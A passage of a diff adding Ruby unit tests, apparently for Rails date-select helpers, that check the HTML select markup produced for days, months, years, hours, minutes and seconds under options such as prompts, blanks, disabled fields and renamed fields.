+ assert_dom_equal expected, select_day(16, :prompt => true)
+ end
+
+ def test_select_day_with_custom_prompt
+ expected = %(<select id="date_day" name="date[day]">\n)
+ expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_day(16, :prompt => 'Choose day')
+ end
+
+ def test_select_month
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16))
+ assert_dom_equal expected, select_month(8)
+ end
+
+ def test_select_month_with_two_digit_numbers
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="1">01</option>\n<option value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8" selected="selected">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2011, 8, 16), :use_two_digit_numbers => true)
+ assert_dom_equal expected, select_month(8, :use_two_digit_numbers => true)
+ end
+
+ def test_select_month_with_disabled
+ expected = %(<select id="date_month" name="date[month]" disabled="disabled">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :disabled => true)
+ assert_dom_equal expected, select_month(8, :disabled => true)
+ end
+
+ def test_select_month_with_field_name_override
+ expected = %(<select id="date_mois" name="date[mois]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :field_name => 'mois')
+ assert_dom_equal expected, select_month(8, :field_name => 'mois')
+ end
+
+ def test_select_month_with_blank
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :include_blank => true)
+ assert_dom_equal expected, select_month(8, :include_blank => true)
+ end
+
+ def test_select_month_nil_with_blank
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(nil, :include_blank => true)
+ end
+
+ def test_select_month_with_numbers
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8" selected="selected">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_numbers => true)
+ assert_dom_equal expected, select_month(8, :use_month_numbers => true)
+ end
+
+ def test_select_month_with_numbers_and_names
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="1">1 - January</option>\n<option value="2">2 - February</option>\n<option value="3">3 - March</option>\n<option value="4">4 - April</option>\n<option value="5">5 - May</option>\n<option value="6">6 - June</option>\n<option value="7">7 - July</option>\n<option value="8" selected="selected">8 - August</option>\n<option value="9">9 - September</option>\n<option value="10">10 - October</option>\n<option value="11">11 - November</option>\n<option value="12">12 [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :add_month_numbers => true)
+ assert_dom_equal expected, select_month(8, :add_month_numbers => true)
+ end
+
+ def test_select_month_with_numbers_and_names_with_abbv
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="1">1 - Jan</option>\n<option value="2">2 - Feb</option>\n<option value="3">3 - Mar</option>\n<option value="4">4 - Apr</option>\n<option value="5">5 - May</option>\n<option value="6">6 - Jun</option>\n<option value="7">7 - Jul</option>\n<option value="8" selected="selected">8 - Aug</option>\n<option value="9">9 - Sep</option>\n<option value="10">10 - Oct</option>\n<option value="11">11 - Nov</option>\n<option value="12">12 - Dec</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :add_month_numbers => true, :use_short_month => true)
+ assert_dom_equal expected, select_month(8, :add_month_numbers => true, :use_short_month => true)
+ end
+
+ def test_select_month_with_abbv
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="1">Jan</option>\n<option value="2">Feb</option>\n<option value="3">Mar</option>\n<option value="4">Apr</option>\n<option value="5">May</option>\n<option value="6">Jun</option>\n<option value="7">Jul</option>\n<option value="8" selected="selected">Aug</option>\n<option value="9">Sep</option>\n<option value="10">Oct</option>\n<option value="11">Nov</option>\n<option value="12">Dec</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_short_month => true)
+ assert_dom_equal expected, select_month(8, :use_short_month => true)
+ end
+
+ def test_select_month_with_custom_names
+ month_names = %w(nil Januar Februar Marts April Maj Juni Juli August September Oktober November December)
+
+ expected = %(<select id="date_month" name="date[month]">\n)
+ 1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month]}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_names => month_names)
+ assert_dom_equal expected, select_month(8, :use_month_names => month_names)
+ end
+
+ def test_select_month_with_zero_indexed_custom_names
+ month_names = %w(Januar Februar Marts April Maj Juni Juli August September Oktober November December)
+
+ expected = %(<select id="date_month" name="date[month]">\n)
+ 1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month-1]}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_names => month_names)
+ assert_dom_equal expected, select_month(8, :use_month_names => month_names)
+ end
+
+ def test_select_month_with_hidden
+ assert_dom_equal "<input type=\"hidden\" id=\"date_month\" name=\"date[month]\" value=\"8\" />\n", select_month(8, :use_hidden => true)
+ end
+
+ def test_select_month_with_hidden_and_field_name
+ assert_dom_equal "<input type=\"hidden\" id=\"date_mois\" name=\"date[mois]\" value=\"8\" />\n", select_month(8, :use_hidden => true, :field_name => 'mois')
+ end
+
+ def test_select_month_with_html_options
+ expected = %(<select id="date_month" name="date[month]" class="selector" accesskey="M">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M')
+ #result = select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M')
+ #assert result.include?('<select id="date_month" name="date[month]"')
+ #assert result.include?('class="selector"')
+ #assert result.include?('accesskey="M"')
+ #assert result.include?('<option value="1">January')
+ end
+
+ def test_select_month_with_default_prompt
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(8, :prompt => true)
+ end
+
+ def test_select_month_with_custom_prompt
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(8, :prompt => 'Choose month')
+ end
+
+ def test_select_year
+ expected = %(<select id="date_year" name="date[year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005)
+ assert_dom_equal expected, select_year(2003, :start_year => 2003, :end_year => 2005)
+ end
+
+ def test_select_year_with_disabled
+ expected = %(<select id="date_year" name="date[year]" disabled="disabled">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :disabled => true, :start_year => 2003, :end_year => 2005)
+ assert_dom_equal expected, select_year(2003, :disabled => true, :start_year => 2003, :end_year => 2005)
+ end
+
+ def test_select_year_with_field_name_override
+ expected = %(<select id="date_annee" name="date[annee]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :field_name => 'annee')
+ assert_dom_equal expected, select_year(2003, :start_year => 2003, :end_year => 2005, :field_name => 'annee')
+ end
+
+ def test_select_year_with_type_discarding
+ expected = %(<select id="date_year" name="date_year">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(
+ Time.mktime(2003, 8, 16), :prefix => "date_year", :discard_type => true, :start_year => 2003, :end_year => 2005)
+ assert_dom_equal expected, select_year(
+ 2003, :prefix => "date_year", :discard_type => true, :start_year => 2003, :end_year => 2005)
+ end
+
+ def test_select_year_descending
+ expected = %(<select id="date_year" name="date[year]">\n)
+ expected << %(<option value="2005" selected="selected">2005</option>\n<option value="2004">2004</option>\n<option value="2003">2003</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(Time.mktime(2005, 8, 16), :start_year => 2005, :end_year => 2003)
+ assert_dom_equal expected, select_year(2005, :start_year => 2005, :end_year => 2003)
+ end
+
+ def test_select_year_with_hidden
+ assert_dom_equal "<input type=\"hidden\" id=\"date_year\" name=\"date[year]\" value=\"2007\" />\n", select_year(2007, :use_hidden => true)
+ end
+
+ def test_select_year_with_hidden_and_field_name
+ assert_dom_equal "<input type=\"hidden\" id=\"date_anno\" name=\"date[anno]\" value=\"2007\" />\n", select_year(2007, :use_hidden => true, :field_name => 'anno')
+ end
+
+ def test_select_year_with_html_options
+ expected = %(<select id="date_year" name="date[year]" class="selector" accesskey="M">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M')
+ #result = select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M')
+ #assert result.include?('<select id="date_year" name="date[year]"')
+ #assert result.include?('class="selector"')
+ #assert result.include?('accesskey="M"')
+ #assert result.include?('<option value="2003"')
+ end
+
+ def test_select_year_with_default_prompt
+ expected = %(<select id="date_year" name="date[year]">\n)
+ expected << %(<option value="">Year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => true)
+ end
+
+ def test_select_year_with_custom_prompt
+ expected = %(<select id="date_year" name="date[year]">\n)
+ expected << %(<option value="">Choose year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => 'Choose year')
+ end
+
+ def test_select_hour
+ expected = %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18))
+ end
+
+ def test_select_hour_with_ampm
+ expected = %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\ [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :ampm => true)
+ end
+
+ def test_select_hour_with_disabled
+ expected = %(<select id="date_hour" name="date[hour]" disabled="disabled">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
+ end
+
+ def test_select_hour_with_field_name_override
+ expected = %(<select id="date_heure" name="date[heure]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'heure')
+ end
+
+ def test_select_hour_with_blank
+ expected = %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option va [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
+ end
+
+ def test_select_hour_nil_with_blank
+ expected = %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option> [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(nil, :include_blank => true)
+ end
+
+ def test_select_hour_with_html_options
+ expected = %(<select id="date_hour" name="date[hour]" class="selector" accesskey="M">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+ end
+
+ def test_select_hour_with_default_prompt
+ expected = %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
+ end
+
+ def test_select_hour_with_custom_prompt
+ expected = %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\ [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose hour')
+ end
+
+ def test_select_minute
+ expected = %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18))
+ end
+
+ def test_select_minute_with_disabled
+ expected = %(<select id="date_minute" name="date[minute]" disabled="disabled">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
+ end
+
+ def test_select_minute_with_field_name_override
+ expected = %(<select id="date_minuto" name="date[minuto]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'minuto')
+ end
+
+ def test_select_minute_with_blank
+ expected = %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option va [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
+ end
+
+ def test_select_minute_with_blank_and_step
+ expected = %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), { :include_blank => true , :minute_step => 15 })
+ end
+
+ def test_select_minute_nil_with_blank
+ expected = %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option> [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(nil, :include_blank => true)
+ end
+
+ def test_select_minute_nil_with_blank_and_step
+ expected = %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(nil, { :include_blank => true , :minute_step => 15 })
+ end
+
+ def test_select_minute_with_hidden
+ assert_dom_equal "<input type=\"hidden\" id=\"date_minute\" name=\"date[minute]\" value=\"8\" />\n", select_minute(8, :use_hidden => true)
+ end
+
+ def test_select_minute_with_hidden_and_field_name
+ assert_dom_equal "<input type=\"hidden\" id=\"date_minuto\" name=\"date[minuto]\" value=\"8\" />\n", select_minute(8, :use_hidden => true, :field_name => 'minuto')
+ end
+
+ def test_select_minute_with_html_options
+ expected = %(<select id="date_minute" name="date[minute]" class="selector" accesskey="M">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+
+ #result = select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+ #assert result.include?('<select id="date_minute" name="date[minute]"')
+ #assert result.include?('class="selector"')
+ #assert result.include?('accesskey="M"')
+ #assert result.include?('<option value="00">00')
+ end
+
+ def test_select_minute_with_default_prompt
+ expected = %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
+ end
+
+ def test_select_minute_with_custom_prompt
+ expected = %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose minute')
+ end
+
+ def test_select_second
+ expected = %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18))
+ end
+
+ def test_select_second_with_disabled
+ expected = %(<select id="date_second" name="date[second]" disabled="disabled">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
+ end
+
+ def test_select_second_with_field_name_override
+ expected = %(<select id="date_segundo" name="date[segundo]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'segundo')
+ end
+
+ def test_select_second_with_blank
+ expected = %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option> [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
+ end
+
+ def test_select_second_nil_with_blank
+ expected = %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option> [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(nil, :include_blank => true)
+ end
+
+ def test_select_second_with_html_options
+ expected = %(<select id="date_second" name="date[second]" class="selector" accesskey="M">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+
+ #result = select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+ #assert result.include?('<select id="date_second" name="date[second]"')
+ #assert result.include?('class="selector"')
+ #assert result.include?('accesskey="M"')
+ #assert result.include?('<option value="00">00')
+ end
+
+ def test_select_second_with_default_prompt
+ expected = %(<select id="date_second" name="date[second]">\n)
